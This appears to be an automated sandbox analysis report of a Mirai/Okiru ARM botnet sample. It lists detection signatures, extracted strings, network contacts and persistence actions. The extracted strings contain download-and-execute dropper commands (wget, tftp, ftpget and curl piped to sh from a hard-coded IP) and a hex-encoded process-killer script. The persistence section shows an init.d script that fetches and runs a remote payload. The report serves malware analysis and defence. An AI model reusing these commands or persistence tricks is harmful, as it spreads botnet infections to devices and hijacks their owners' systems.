Linux Analysis Report
arm7.nn.elf

Overview

General Information

Sample name: arm7.nn.elf
Analysis ID: 1561639
MD5: f17a81a94603abc0f7e15bf9c3443da3
SHA1: 837c5d134cbd72539a6e56eb4008176cb884d8f2
SHA256: 420804c14431b28bd371dc8fcd4908482e0658ecb902149dbbe6ce87f4a60b3f
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 88
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample and/or dropped files contains symbols with suspicious names
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: arm7.nn.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: arm7.nn.elf Virustotal: Detection: 53% Perma Link
Found strings indicative of a multi-platform dropper
Source: arm7.nn.elf String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login193.143.1.70malloc[start_pid_hopping] Failed to clone: %s
Source: arm7.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:40280 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.13:59522 -> 193.143.1.70:38242
Sample listens on a socket
Source: /tmp/arm7.nn.elf (PID: 5453) Socket: 0.0.0.0:38242 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 99.173.17.29
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 190.167.233.113
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 45.219.237.26
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 24.88.101.85
Source: unknown TCP traffic detected without corresponding DNS query: 79.130.254.43
Source: unknown TCP traffic detected without corresponding DNS query: 184.200.87.97
Source: unknown TCP traffic detected without corresponding DNS query: 189.227.109.25
Source: unknown TCP traffic detected without corresponding DNS query: 88.87.196.28
Source: unknown TCP traffic detected without corresponding DNS query: 177.37.154.249
Source: unknown TCP traffic detected without corresponding DNS query: 99.173.17.29
Source: unknown TCP traffic detected without corresponding DNS query: 121.30.139.31
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 71.89.84.135
Source: unknown TCP traffic detected without corresponding DNS query: 190.167.233.113
Source: unknown TCP traffic detected without corresponding DNS query: 45.219.237.26
Source: unknown TCP traffic detected without corresponding DNS query: 24.88.101.85
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: arm7.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, custom.service.12.dr, arm7.nn.elf.36.dr String found in binary or memory: http://193.143.1.70/
Source: arm7.nn.elf String found in binary or memory: http://193.143.1.70/curl.sh
Source: arm7.nn.elf String found in binary or memory: http://193.143.1.70/lol.sh
Source: arm7.nn.elf String found in binary or memory: http://193.143.1.70/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbi
Source: unknown Network traffic detected: HTTP traffic on port 48202 -> 443
Sample and/or dropped files contains symbols with suspicious names
Source: arm7.nn.elf ELF static info symbol of initial sample: __gnu_unwind_execute
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//ro
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4<\
Sample tries to kill a process (SIGKILL)
Source: /tmp/arm7.nn.elf (PID: 5463) SIGKILL sent: pid: 792, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5463) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5463) SIGKILL sent: pid: 1944, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5463) SIGKILL sent: pid: 3181, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5463) SIGKILL sent: pid: 3185, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5463) SIGKILL sent: pid: 5516, result: successful Jump to behavior
Source: classification engine Classification label: mal88.spre.troj.evad.linELF@0/11@2/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/arm7.nn.elf (PID: 5453) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/arm7.nn.elf (PID: 5453) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5534) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 5574) File: /etc/rc.d/S99arm7.nn.elf -> /etc/init.d/arm7.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/arm7.nn.elf (PID: 5453) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5530) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5539) File: /etc/init.d/arm7.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5731/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5732/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5699/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5733/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5734/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5735/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5736/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5737/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5671/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5672/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5673/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5750/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5674/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5751/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5752/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5706/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/802/cmdline Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5700/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5744/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5701/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5745/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5702/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5746/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5703/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5747/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5704/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5748/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5705/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5749/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5760/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5761/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5762/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5763/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5753/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5754/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5755/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5712/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5756/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5757/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5758/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5759/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5294/cmdline Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5730/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5728/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5729/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5725/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5726/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) File opened: /proc/5727/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/arm7.nn.elf (PID: 5484) Shell command executed: /bin/sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5524) Shell command executed: /bin/sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5531) Shell command executed: /bin/sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5535) Shell command executed: /bin/sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm7.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm7.nn.elf'\n /tmp/arm7.nn.elf &\n wget http://193.143.1.70/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm7.nn.elf'\n killall arm7.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm7.nn.elf" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5537) Shell command executed: /bin/sh -c "chmod +x /etc/init.d/arm7.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5561) Shell command executed: /bin/sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5569) Shell command executed: /bin/sh -c "ln -s /etc/init.d/arm7.nn.elf /etc/rc.d/S99arm7.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5530) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 5539) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/arm7.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 5568) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5499) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/arm7.nn.elf (PID: 5453) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5530) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5539) File: /etc/init.d/arm7.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/arm7.nn.elf (PID: 5453) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/arm7.nn.elf (PID: 5453) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5535) Writes shell script file to disk with an unusual file extension: /etc/init.d/arm7.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/arm7.nn.elf (PID: 5453) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 5535) File: /etc/init.d/arm7.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm7.nn.elf (PID: 5453) Queries kernel information via 'uname': Jump to behavior
Source: arm7.nn.elf, 5453.1.00007fffbd032000.00007fffbd053000.rw-.sdmp Binary or memory string: /tmp/qemu-open.TVGLav
Source: arm7.nn.elf, 5453.1.00007fffbd032000.00007fffbd053000.rw-.sdmp Binary or memory string: V/tmp/qemu-open.TVGLav:
Source: arm7.nn.elf, 5463.1.00007f605003f000.00007f6050044000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: arm7.nn.elf, 5453.1.000056124bf3f000.000056124c08e000.rw-.sdmp Binary or memory string: !/proc/767/exe0!/proc/347/exe!/proc/765/exe/arm/pro1/usr/lib/policykit-1/polkitd0!/proc/371/exe!/usr/bin/vmtoolsdrm/pro1/usr/lib/x86_64-linux-gnu/xfce4/panel!/proc/378/exe!/proc/727/exe/arm/pro1/proc/914/exe/arm/0!/proc/418/exe!/usr/bin/VGAuthServiceo1
Source: arm7.nn.elf, 5453.1.00007fffbd032000.00007fffbd053000.rw-.sdmp, arm7.nn.elf, 5463.1.00007fffbd032000.00007fffbd053000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm7.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm7.nn.elf
Source: arm7.nn.elf, 5453.1.000056124bf3f000.000056124c08e000.rw-.sdmp, arm7.nn.elf, 5463.1.000056124bf3f000.000056124c08e000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm7.nn.elf, 5463.1.00007f6050044000.00007f605004a000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm0
Source: arm7.nn.elf, 5453.1.000056124bf3f000.000056124c08e000.rw-.sdmp, arm7.nn.elf, 5463.1.000056124bf3f000.000056124c08e000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/arm
Source: arm7.nn.elf, 5453.1.00007fffbd032000.00007fffbd053000.rw-.sdmp, arm7.nn.elf, 5463.1.00007fffbd032000.00007fffbd053000.rw-.sdmp, arm7.nn.elf, 5463.1.00007f6050044000.00007f605004a000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm7.nn.elf, 5463.1.000056124bf3f000.000056124c08e000.rw-.sdmp Binary or memory string: !/proc/767/exe0!/proc/347/exe!/proc/765/exe/arm/pro1/usr/lib/policykit-1/polkitd0!/proc/371/exe!/usr/bin/vmtoolsdrm/pro1/usr/lib/x86_64-linux-gnu/xfce4/panel!/proc/378/exe!/proc/727/exe/arm/pro1/proc/914/exe/arm/0!/proc/418/exe!/usr/bin/VGAuthServiceo1/proc/5552/exe/arm/0!/proc/419/exe1/usr/libexec/gsd-datetime
Source: arm7.nn.elf, 5463.1.00007f605003f000.00007f6050044000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsdp<

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: 5453.1.00007f6050017000.00007f6050037000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5463.1.00007f6050017000.00007f6050037000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: 5453.1.00007f6050017000.00007f6050037000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5463.1.00007f6050017000.00007f6050037000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm7.nn.elf PID: 5453, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm7.nn.elf PID: 5463, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: 5453.1.00007f6050017000.00007f6050037000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5463.1.00007f6050017000.00007f6050037000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: 5453.1.00007f6050017000.00007f6050037000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5463.1.00007f6050017000.00007f6050037000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm7.nn.elf PID: 5453, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm7.nn.elf PID: 5463, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
179.190.151.12
 unknown Brazil
28220 CABOSERVICOSDETELECOMUNICACOESLTDABR false
130.86.103.119
 unknown United States
396465 SACSTATEUS false
142.94.101.1
 unknown Canada
393952 GOANETCA false
99.160.179.179
 unknown United States
7018 ATT-INTERNET4US false
192.194.180.106
 unknown Finland
29601 UPM-KYMMENE-ASKuusankoskiFinlandFI false
169.144.206.208
 unknown United States
158 ERI-ASUS false
81.26.153.182
 unknown Russian Federation
8641 NAUKANET-ASBACKBONEASofNauka-SvyazRU false
121.166.161.34
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
167.192.35.43
 unknown United States
2897 GEORGIA-1US false
49.146.21.20
 unknown Philippines
9299 IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH false
99.193.14.30
 unknown United States
12050 DIRECTV-BROADBANDUS false
149.207.40.93
 unknown Germany
15854 HP_WEBSERVICESDE false
144.71.242.47
 unknown United States
2768 ERIE-COUNTYUS false
113.67.206.39
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
63.107.36.130
 unknown United States
701 UUNETUS false
96.30.91.239
 unknown Thailand
132280 SYMPHONY-AP-THSymphonyCommunicationThailandPCLTH false
12.85.245.99
 unknown United States
7018 ATT-INTERNET4US false
222.104.48.15
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
184.125.53.220
 unknown United States
7922 COMCAST-7922US false
124.33.11.115
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
37.249.67.204
 unknown Poland
8374 PLUSNETPlusnetworkoperatorinPolandPL false
9.195.190.217
 unknown United States
3356 LEVEL3US false
60.181.12.68
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
208.124.34.162
 unknown United States
11427 TWC-11427-TEXASUS false
102.45.235.174
 unknown Egypt
8452 TE-ASTE-ASEG false
102.186.186.169
 unknown Egypt
24835 RAYA-ASEG false
23.239.232.52
 unknown United States
21866 GOTO-OFFICESUS false
221.108.86.138
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
6.237.26.165
 unknown United States
3356 LEVEL3US false
201.34.59.198
 unknown Brazil
8167 BrasilTelecomSA-FilialDistritoFederalBR false
159.49.9.12
 unknown United States
29702 ALASKA-AIRGROUP-SE4US false
192.97.95.82
 unknown United States
54826 WITGCA false
153.48.117.147
 unknown United States
1226 CTA-42-AS1226US false
168.68.20.17
 unknown United States
4152 USDA-1US false
108.214.36.92
 unknown United States
7018 ATT-INTERNET4US false
213.233.254.143
 unknown Netherlands
12414 NL-SOLCONSOLCONNL false
174.213.191.51
 unknown United States
22394 CELLCOUS false
11.8.178.4
 unknown United States
